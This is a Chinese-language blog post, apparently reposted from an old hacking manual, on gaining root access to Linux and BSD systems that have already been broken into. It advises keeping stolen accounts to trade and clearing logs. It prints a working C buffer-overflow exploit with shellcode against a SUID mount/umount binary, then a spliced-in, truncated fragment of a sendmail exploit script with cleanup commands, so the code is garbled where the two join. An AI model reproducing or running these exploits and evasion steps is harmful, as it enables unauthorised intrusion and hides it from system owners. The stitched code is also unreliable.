獲取root帳戶


--------------------------------------------------------------------------------

目錄:

Bugs(一些漏洞)

Exploits(利用漏洞)


--------------------------------------------------------------------------------

如我前面所說的,大多數情況下,你僅僅需要一個帳號就行了,如果你得不到系統的root,你可能會用它來和IRC迷換取其它帳號或一些對你hacking有幫助的信息.本章有足夠的幫助信息讓你即使你得不到root帳戶,也可留著系統以後再用.你可以把帳號先放一邊,把有關信息記錄在一些log文檔中,並做好備忘錄以便以後當有新的可利用漏洞被發現時你可以回憶起來:)

在你確信不會有失去帳號的危險之前不要輕易進入系統。記住:當你用一個帳號Login而又沒拿到root時,你就無法清除日誌文檔(logs),這樣該用戶下次login時,就會看到這樣的信息:

last login from xxx.com time:0:00 date:xx/xx/xx


--------------------------------------------------------------------------------

Bugs(一些漏洞)

不同的程序裡都有很多Bug可利用來取得root權限.Bug可能是安裝在系統上的一個遊戲,或者甚至是sendmail程序.如果他們沒有定期升級程序,你可以確信肯定可以入侵(即使現在不行,也是很快就行).

我會在此提供一些主要的Exploit(這個詞動詞是」利用、使用、開發」的意思」,名詞其實和bug意思差不多:譯注)和Bugs,其它不大常用的則在附錄裡介紹.我會給你詳細的英文條款,讓你能取得系統的root權限.但請務必在行動之前先完整閱讀完下節和本手冊,以確定你以正確方式開始,並且不會搞得在系統裡呆得太久.


--------------------------------------------------------------------------------

Exploits(利用漏洞)

Umount/mount Exploit

在/bin目錄下尋找名為Umount(或mount)的文件,如果你找不到,用下面的命令搜索:

find / -name umount -print -dev

(你可用同樣的方式尋找任何文件)

進入該文件所在目錄並且:ls -al um*

如果文件有SUID」s」標誌,你就可能拿到root.

SUID 」s」使文件屬主(這裡是root)有rws權限。你要尋找的就是這個」s」.

看這兒:

victim:/bin# ls -al um*

-rwsr-sr-x   1 root         8888 Mar 21  1995 umount

victim:/bin#

 

通過編譯下面的文件我們就可以拿到此機器的root.

umount.c
------ cut here

/* sno.c : Linux realpath exploit
 * Syntax: ./sno N
 *         mount $WOOT
 *    OR  umount $WOOT
 * N is some number which seems to differ between 4 & 8, if your number is
 * too big, you will get a mount error, if it is too small, it will seg
 * fault.  Figure it out.  (Sometimes N=0 for mount)
 * If you use mount, first thing to do once you get the root shell is rm
 * /etc/mtab~, if this file exists you can't root with mount until it is
 * removed.
 *
 *
 *                                          -ReDragon
 */
#define SIZE 1024

   long get_esp(void)
   {
   __asm__("movl %esp,%eax\n");
   }

   main(int argc, char **argv)
   {
   char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
   int a,r;
   char *ptr;
   long *addr_ptr;
   char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
   char *exec_ptr = execshell;

   r=atoi(argv[1]);
   ptr = env;
   memcpy(ptr,"WOOT=",5); /* set environment variable to use */
   ptr += 5;

   for(a=0;a       *(ptr++) = 0x90;
   while (*exec_ptr)
      *(ptr++) = *(exec_ptr++);
   addr_ptr = (long *)ptr;
   *(addr_ptr++) = get_esp()+1139;  /* 0xbffffc01 */

   ptr = (char *) addr_ptr;
   *ptr = 0; /* must end with null byte to terminate string */
   putenv(env);
   system("/bin/mount $WOOT");
}

----------- cut he_leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
cd /tmp
sh
------------ cut here


用chmod為文檔加上運行權限(+x):

chmod +x sm.sh

 

然後:

1.運行此文件

2.它把你帶到/tmp目錄中

3.輸入ls -al 看在那裡是否有SUID sh 文件。如果有,用whoami看自己是否是root,如果是的話,就運行./sh文件,這回你可看一看你是不是root了;)

我會在附錄裡放更多的腳本程序,但目前這是取得linux和BSD上的root權限的最好方法。如果你需要其它的BSD裡的exploit(可利用漏洞),可試一試附錄裡的crontab exploit for BSD.
arrow
arrow
    全站熱搜

    Neo Chao 發表在 痞客邦 留言(0) 人氣()